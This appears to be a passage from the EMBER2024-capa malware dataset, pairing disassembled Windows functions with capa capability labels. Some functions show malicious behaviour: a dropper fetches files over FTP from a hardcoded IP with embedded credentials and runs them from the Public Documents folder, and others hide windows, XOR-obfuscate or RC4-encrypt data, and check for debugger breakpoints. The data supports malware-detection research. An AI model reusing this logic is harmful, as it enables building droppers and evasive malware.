joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401080
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x13c
mov eax, dword [0x404008]
xor eax, esp
mov dword [esp + 0x138], eax
push esi
lea eax, [esp + 8]
mov dword [esp + 4], 0
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionOpenWith
xorps xmm0, xmm0
mov dword [esp + 0x18], 0
push reloc.OLEAUT32.dll_SysReAllocString
movaps xmmword [esp + 0x34], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401191
mov esi, dword [esp + 8]
test esi, esi
je 0x401191
push pe_nt_image_headers32
push eax
lea eax, [esp + 0x40]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x1c], pe_nt_image_headers32
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0x403224
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [esp + 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x401191
lea ecx, [esp + 0x38]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401130
sub ecx, edx
sar ecx, 1
cmp ecx, 0x26
jne 0x401191
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
js 0x401191
lea eax, [esp + 4]
mov dword [esp + 0xc], 0x6a283fe2
push eax
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 0x4599ecfa
push eax
push 4
push 0
lea eax, [esp + 0x30]
mov dword [esp + 0x24], 0x9e8c491
push eax
mov dword [esp + 0x2c], 0x267b1357
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 4]
pop esi
xor ecx, esp
call fcn.004012f0
mov esp, ebp
pop ebp
ret

Function at 0x4011b0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push 2
push 0
mov dword [ebp - 4], eax
call dword [sym.imp.ole32.dll_CoInitializeEx]
call fcn.00401080
mov ebx, eax
push 0
push ebx
call dword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
push str..pdf
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
test esi, esi
je 0x401232
mov edi, dword [ebx]
push 4
push esi
push dword [ebp - 4]
mov edi, dword [edi + 0xc]
mov ecx, edi
push ebx
call dword [0x403110]
call edi
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebx]
push ebx
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x403110]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x8007000e
call fcn.00401030
int3

Function at 0x8ccbb0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x8cc92e
sub esi, esi
add edx, 0xb2f79738
call fcn.008ccbef
sub esi, esi
sub esi, edx
add esi, 1
xor dword [edi], ecx
or esi, esi
sub esi, 0x66c5187b
add esi, 1
inc edi
mov esi, edx
inc edx
cmp edi, ebx
jne fcn.008ccbb0
and esi, edx
sub edx, esi
ret
Function at 0xa72ea0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi]
mov ecx, dword [esi + 4]
test eax, eax
jle 0xa72efb
push edi
mov edi, dword [ebp + 0x10]
sub dword [ebp + 0xc], edi
mov dword [ebp + 8], eax
mov edi, edi
inc bl
lea edi, [edi + 1]
movzx ebx, bl
mov dl, byte [esi + ebx + 8]
add cl, dl
movzx ecx, cl
mov al, byte [esi + ecx + 8]
mov byte [esi + ebx + 8], al
add al, dl
movzx eax, al
mov byte [esi + ecx + 8], dl
movzx edx, byte [eax + esi + 8]
mov eax, dword [ebp + 0xc]
xor dl, byte [eax + edi - 1]
sub dword [ebp + 8], 1
mov byte [edi - 1], dl
jne 0xa72ec0
mov eax, dword [ebp + 0x14]
pop edi
mov dword [esi], ebx
mov dword [esi + 4], ecx
pop esi
pop ebx
pop ebp
ret
Function at 0x401080
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4010a5
mov edx, dword [0x4150a0]
lea ecx, [esp + 0xc]
push 0
push ecx
push edx
push 0x4150a4
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4010c5
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
ret

Function at 0x4010e0
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0x20
push 2
push 0
push 3
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401106
xor eax, eax
pop esi
ret
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 8]
push 0
push ecx
push edx
push eax
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
ret

Function at 0x401140
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data

Disassembly:
push ecx
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
push ebp
push str.WinInet_Ftp
mov dword [esp + 0x24], ebp
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
push ebp
push 0x8000000
push 1
push ecx
mov ecx, dword [esp + 0x28]
push edx
push ebp
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edx, dword [esp + 0x24]
push ebp
push 0x80000002
push 0x80000000
push edx
push eax
call dword [sym.imp.WININET.dll_FtpOpenFileA]
push ebp
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.WININET.dll_FtpGetFileSize]
mov esi, eax
push esi
mov dword [esp + 0x20], esi
call fcn.004015dc
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [esp + 0x1c], edi
push 0x1000
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
call fcn.004015dc
mov ebx, eax
mov ecx, 0x400
xor eax, eax
mov edi, ebx
add esp, 8
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x10]
push eax
push 0x1000
push ebx
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401239
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
mov eax, ecx
mov esi, ebx
lea edi, [edx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
add ebp, dword [esp + 0x10]
cmp eax, ebp
jbe 0x401235
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x10]
push ecx
push 0x1000
push ebx
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4011f4
mov esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x28]
push esi
mov esi, dword [esp + 0x1c]
push esi
push eax
call fcn.004010e0
push esi
call fcn.004015d1
add esp, 0x10
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4012e0
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub esp, 0x208
push ebp
push esi
push 0
push str.C:UsersPublicDocuments_svchost.txt
call fcn.00401883
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebp, dword [sym.imp.SHELL32.dll_ShellExecuteA]
add esp, 8
cmp eax, 0xffffffff
jne 0x401428
push edi
push 0
call fcn.004017a7
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x103
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0xc]
push 0x5c
push ecx
call fcn.00401780
mov edx, eax
or ecx, 0xffffffff
inc edx
xor eax, eax
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x119]
mov dl, byte [ecx + edx - 5]
mov ecx, 0x40
mov byte [esp + 0x118], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
movsx edx, dl
stosb byte es:[edi], al
push edx
lea eax, [esp + 0x11c]
push str.___c
push eax
call fcn.00401728
add esp, 0x14
pop edi
push 0
push str.C:UsersPublicDocuments1.rar
call fcn.00401883
add esp, 8
cmp eax, 0xffffffff
je 0x4013da
push 0
push str.C:UsersPublicDocuments7z.exe
call fcn.00401883
add esp, 8
cmp eax, 0xffffffff
jne 0x401400
push str.C:UsersPublicDocuments7z.exe
push 0x415654
push str.luohua
push str.luohua
push str.43.240.238.250
call fcn.00401140
add esp, 0x14
jmp 0x40138f
lea ecx, [esp + 0x10c]
push str.C:UsersPublicDocuments1.rar
push ecx
push str.luohua
push str.luohua
push str.43.240.238.250
call fcn.00401140
add esp, 0x14
jmp 0x40138f
push str.C:UsersPublicDocumentsjdi.lnk
call fcn.00401080
add esp, 4
push 0x1f4
call esi
push 0
push 0
push 0
push str.C:UsersPublicDocumentsjdi.lnk
push str.OPEN
push 0
call ebp
push 0x7d0
call esi
push 0
push 0
push 0
push str.C:UsersPublicDocuments1.lnk
push str.OPEN
push 0
call ebp
push 0x1f4
call esi
push 0
call fcn.00401617
pop esi
pop ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x401460
Capabilities:
Hide graphical window

Disassembly:
push 0
call fcn.004012b0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.004012e0
push str.pause
call fcn.004018c9
add esp, 4
xor eax, eax
ret

Function at 0x401883
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4018a3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00402c48
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4018c6
test byte [esp + 8], 2
je 0x4018c6
call fcn.00402cbb
mov dword [eax], 0xd
call fcn.00402cc4
mov dword [eax], 5
jmp 0x40189f
xor eax, eax
ret
Function at 0x4af728
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4af7ff
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4af81c
push ebx
push 0x4af82c
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004087c4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00405884
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004084ec
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4af7aa
mov ax, 0x83
call fcn.004af34c
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle
call fcn.004af6fc
push 0x4ff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x4af7b3
call fcn.004af6fc
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4af806
lea eax, [ebp - 4]
call fcn.00407a20
ret

Function at 0x4af91c
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4af9e7
jmp 0x4af9db
cmp dword [esi + 0x10], 0x1000
jne 0x4af9c7
test byte [esi + 0x15], 1
jne 0x4af9c7
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4af978
cmp ebp, 2
je 0x4af978
cmp ebp, 0x10
je 0x4af978
cmp ebp, 0x20
jne 0x4af994
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4af994
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4af9a5
mov eax, dword [esi]
add eax, ebx
call fcn.004af914
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4af998
cmp byte [esp + 4], 0
je 0x4af9c7
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4af9e7
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4af94d
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x43b652
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x43b3c1
add esi, 1
sub esi, esi
call fcn.0043b697
add ebx, 0x85b3d320
inc esi
add ebx, 0xaca9f8f5
xor dword [edx], eax
or ebx, ebx
inc edx
sub ebx, 0x78f295cc
or ebx, ebx
sub esi, 0x4739faeb
cmp edx, ecx
jne fcn.0043b652
or esi, ebx
sub esi, 1
ret
Function at 0x40b930
Capabilities:
Decompress data using quicklz

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x40bafe
sub esp, 0x38
mov eax, dword [esp + 0x3c]
cmp eax, 0x7000000
jle 0x40b95b
mov eax, 0x7000000
jmp 0x40b963
test eax, eax
je 0x40bad9
mov dword [esp + 0x14], eax
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov edx, dword [ecx + 0x94]
mov ebx, dword [ecx + 0x98]
mov dword [ecx + 0x94], ebx
mov ebp, edx
shl edx, 0x11
xor edx, ebp
mov ebp, ebx
xor ebx, edx
shr edx, 7
xor edx, ebx
mov ebx, ebp
shr ebp, 0x10
xor ebp, edx
mov dword [ecx + 0x98], ebp
lea ecx, [ebp + ebx]
shr ecx, 6
inc ecx
mov dword [esp], ecx
call fcn.00462920
movsd xmm0, qword [esp + 4]
movsd qword [esp + 0x28], xmm0
mov eax, dword [esp + 0x2c]
mov ecx, eax
shr eax, 0x14
and eax, 0x7ff
mov edx, eax
add eax, 0xfffffc01
mov ebx, ecx
shr ecx, 0xf
and ecx, 0x1f
mov ebp, ecx
add ecx, 1
mov esi, 0
adc esi, 0
shl ebx, 5
mov edi, dword [esp + 0x28]
shr edi, 0x1b
or edi, ebx
lea ebx, [0x892700]
movsd xmm0, qword [ebx + ebp*8]
test esi, esi
jne 0x40baf1
cmp ecx, 0x21
jae 0x40bae5
movsd qword [esp + 0x18], xmm0
mov dword [esp + 0x10], edi
add edx, 0xfffffc01
mov edx, 0xffffffff
adc edx, 0
movsd xmm0, qword [ebx + ecx*8]
movsd qword [esp + 0x20], xmm0
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0045d410
movsd xmm0, qword [esp + 8]
movsd qword [esp + 0x30], xmm0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x10]
and eax, 0xfffff
mov dword [esp], eax
call fcn.0045d4e0
movsd xmm0, qword [esp + 0x30]
movsd xmm1, qword [esp + 0x18]
addsd xmm0, xmm1
movsd xmm2, qword [esp + 0x20]
subsd xmm2, xmm1
movsd xmm1, qword [esp + 8]
mulsd xmm1, xmm2
movsd xmm2, qword [0x70f08c]
mulsd xmm2, xmm1
addsd xmm0, xmm2
movsd xmm1, qword [0x70f15c]
subsd xmm0, xmm1
xorps xmm1, xmm1
ucomisd xmm0, xmm1
jbe 0x40bab4
xorps xmm0, xmm0
mov eax, dword [esp + 0x14]
cvtsi2sd xmm1, eax
movsd xmm2, qword [0x70f1c4]
mulsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
inc eax
mov dword [esp + 0x40], eax
add esp, 0x38
ret
mov dword [esp + 0x40], 0
add esp, 0x38
ret
mov eax, ecx
mov ecx, 0x21
call fcn.00462a00
mov eax, ecx
mov ecx, 0x21
call fcn.00462ad0
nop
call fcn.00461560
jmp fcn.0040b930
Function at 0x415180
Capabilities:
Check for software breakpoints

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x415394
sub esp, 0x18
mov eax, dword [0x90652c]
test eax, eax
jne 0x41537d
nop
lea eax, [0x906514]
mov dword [esp], eax
call fcn.00409780
mov eax, dword [0x906518]
test eax, eax
je 0x4151c9
cmp dword [eax + 8], 0xcc
jne 0x41523f
mov edx, dword [0x90650c]
test edx, edx
jne 0x415221
mov dword [esp], 0x1000
mov dword [esp + 4], 0
lea eax, [0x90af90]
mov dword [esp + 8], eax
call fcn.0040bb10
mov eax, dword [esp + 0xc]
mov dword [0x90650c], eax
mov ecx, dword [0x9064d0]
mov dword [eax], ecx
mov eax, dword [0x90650c]
mov dword [0x9064d0], eax
movzx eax, byte [0x906b80]
test al, al
jne 0x415221
xor eax, eax
jmp 0x415329
mov edx, dword [0x90650c]
mov ebx, dword [edx + 4]
mov dword [0x90650c], ebx
mov ebx, dword [0x906518]
mov dword [edx + 4], ebx
mov dword [0x906518], edx
mov edx, dword [0x906518]
mov eax, dword [edx + 8]
cmp eax, 0xcc
jae 0x415311
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
lea eax, [edx + 8]
mov dword [esp], eax
mov dword [esp + 4], 1
call fcn.004020d0
mov eax, dword [esp + 0x10]
lea eax, [eax + eax*4]
mov ecx, dword [esp + 0x14]
lea edi, [ecx + eax*4 + 0x10]
mov edx, dword [0x906830]
lea ebx, [ecx + eax*4 + 0x1c]
lea ebp, [ecx + eax*4 + 0x20]
lea esi, [ecx + eax*4 + 0x14]
test edx, edx
jne 0x41529d
mov edx, dword [esp + 0x20]
mov dword [ecx + eax*4 + 0x10], edx
jmp 0x4152aa
mov edx, eax
mov eax, dword [esp + 0x20]
call fcn.00462970
mov eax, edx
mov edx, dword [esp + 0x24]
mov dword [ecx + eax*4 + 0x18], edx
mov edx, dword [0x906830]
test edx, edx
jne 0x4152d6
mov edx, dword [esp + 0x28]
mov dword [ecx + eax*4 + 0x1c], edx
mov edx, dword [esp + 0x2c]
mov dword [ecx + eax*4 + 0x20], edx
mov edx, dword [esp + 0x1c]
mov dword [ecx + eax*4 + 0x14], edx
jmp 0x4152f7
mov edi, ebx
mov eax, dword [esp + 0x28]
call fcn.00462970
mov edi, ebp
mov eax, dword [esp + 0x2c]
call fcn.00462970
mov edi, esi
mov eax, dword [esp + 0x1c]
call fcn.00462970
mov byte [0x906457], 1
nop
lea eax, [0x906514]
mov dword [esp], eax
call fcn.00409980
add esp, 0x18
ret
mov ecx, 0xcc
call fcn.00462a00
lea esi, [0x906b80]
xchg ebp, eax
mov byte [esi + ebx], al
xchg ebp, eax
lea eax, [ebx + 1]
cmp eax, 0x80
jge 0x415221
mov ecx, eax
mov eax, 0xcccccccd
imul ecx
add edx, ecx
sar edx, 2
mov eax, ecx
sar ecx, 0x1f
sub edx, ecx
lea edx, [edx + edx*4]
mov ebx, eax
sub eax, edx
cmp eax, 5
jae 0x415373
lea edx, [0x88ae44]
movzx ebp, byte [edx + eax]
cmp ebx, 0x80
jb 0x41531b
mov eax, ebx
mov ecx, pe_nt_image_headers32
call fcn.004629f0
mov ecx, 5
call fcn.004629f0
lea eax, [0x6a87eb]
mov dword [esp], eax
mov dword [esp + 4], 0x18
call fcn.004373a0
nop
call fcn.00461560
jmp fcn.00415180
Function at 0x429150
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x42926c
sub esp, 0x14
mov eax, dword [esp + 0x18]
movzx ecx, byte [eax + 6]
cmp cl, 1
je 0x4291e5
cmp cl, 2
je 0x42918d
cmp cl, 3
jne 0x429255
mov byte [eax + 8], 1
jmp 0x429251
mov ecx, dword [eax + 8]
mov dword [esp], ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 4], ecx
call fcn.0042e8e0
nop
lea eax, [0x8eaaa4]
mov dword [esp], eax
call fcn.00409780
nop
mov eax, dword [0x8eaa70]
sub eax, dword [0x8eaa54]
mov dword [0x8eaa70], eax
mov eax, dword [0x8eaa60]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x8eaa60], ecx
nop
lea eax, [0x8eaaa4]
mov dword [esp], eax
call fcn.00409980
jmp 0x429251
mov ecx, dword [eax + 8]
mov edx, dword [eax + 0xc]
mov ebx, dword [eax + 0x10]
mov ebp, dword [eax + 0x14]
mov esi, dword [esp + 0x1c]
mov dword [esp], esi
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebp
call fcn.00415180
nop
lea eax, [0x8eaaa4]
mov dword [esp], eax
call fcn.00409780
nop
mov eax, dword [0x8eaa48]
sub eax, dword [0x8eaa2c]
mov dword [0x8eaa48], eax
mov eax, dword [0x8eaa38]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x8eaa38], ecx
nop
nop
lea eax, [0x8eaaa4]
mov dword [esp], eax
call fcn.00409980
add esp, 0x14
ret
lea eax, [0x6a39a8]
mov dword [esp], eax
mov dword [esp + 4], 0x10
call fcn.004373a0
nop
call fcn.00461560
jmp fcn.00429150
Function at 0x462820
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movd xmm0, dword [esp + 8]
pinsrw xmm0, ebx, 4
pshufhw xmm0, xmm0, 0
movdqa xmm1, xmm0
pxor xmm0, xmmword [0x906960]
aesenc xmm0, xmm0
cmp ebx, 0x10
jb 0x460feb
je 0x46103e
cmp ebx, 0x20
jbe 0x461044
cmp ebx, 0x40
jbe 0x46108a
jmp 0x46112b
test ebx, ebx
je 0x461034
add eax, 0x10
test ax, 0xff0
je 0x461020
movdqu xmm1, xmmword [eax - 0x10]
add ebx, ebx
pand xmm1, xmmword [ebx*8 + 0x7117e0]
pxor xmm1, xmm0
aesenc xmm1, xmm1
aesenc xmm1, xmm1
aesenc xmm1, xmm1
movd dword [edx], xmm1
ret
movdqu xmm1, xmmword [eax + ebx - 0x20]
add ebx, ebx
pshufb xmm1, xmmword [ebx*8 + 0x7119e0]
jmp 0x461008
aesenc xmm0, xmm0
movd dword [edx], xmm0
ret
movdqu xmm1, xmmword [eax]
jmp 0x461008
pxor xmm1, xmmword [0x906970]
aesenc xmm1, xmm1
movdqu xmm2, xmmword [eax]
movdqu xmm3, xmmword [eax + ebx - 0x10]
pxor xmm2, xmm0
pxor xmm3, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
aesenc xmm2, xmm2
aesenc xmm3, xmm3
aesenc xmm2, xmm2
aesenc xmm3, xmm3
pxor xmm2, xmm3
movd dword [edx], xmm2
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0x906970]
pxor xmm2, xmmword [0x906980]
pxor xmm3, xmmword [0x906990]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax]
movdqu xmm5, xmmword [eax + 0x10]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
pxor xmm4, xmm0
pxor xmm5, xmm1
pxor xmm6, xmm2
pxor xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0x906970]
pxor xmm2, xmmword [0x906980]
pxor xmm3, xmmword [0x906990]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax + ebx - 0x40]
movdqu xmm5, xmmword [eax + ebx - 0x30]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
dec ebx
shr ebx, 6
movdqu xmm0, xmmword [eax]
movdqu xmm1, xmmword [eax + 0x10]
movdqu xmm2, xmmword [eax + 0x20]
movdqu xmm3, xmmword [eax + 0x30]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
add eax, 0x40
dec ebx
jne 0x46118a
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
cmp byte [0x90645f], 0
je 0x46283a
mov eax, dword [esp + 4]
mov ebx, dword [esp + 0xc]
lea edx, [esp + 0x10]
jmp 0x460fb0
jmp fcn.00408140
Function at 0x10002250
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
mov eax, dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10002268
pop edi
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1000229a
mov ecx, dword [ebp + 8]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, esi
and edi, 0xf
jbe 0x10002296
cmp esi, eax
jae 0x1000229a
dec edi
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x10002288
cmp esi, eax
jb 0x100022a0
pop esi
xor eax, eax
pop edi
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebp
ret
Function at 0x1000af30
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10022e08
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x1002b540]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
mov dword [ebx], vtable.CRApp.0
mov dword [ebp - 4], 2
mov eax, dword [ebx + 0x30]
mov ecx, dword [eax + 4]
lea esi, [ebx + 0x2c]
push ecx
mov ecx, esi
call fcn.1000b2f0
mov eax, dword [esi + 4]
mov dword [eax + 4], eax
mov eax, dword [esi + 4]
mov dword [eax], eax
mov eax, dword [esi + 4]
mov dword [eax + 8], eax
mov dword [esi + 8], 0
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 3
mov eax, dword [esi + 4]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [ebp - 0x18]
call fcn.1000b420
mov esi, dword [esi + 4]
push esi
call fcn.10010a6b
mov byte [ebp - 4], 0
mov eax, dword [ebx + 0x28]
sub eax, 0x10
add esp, 4
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x1000afd8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, ebx
mov dword [ebp - 4], 0xffffffff
call fcn.1000ab40
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
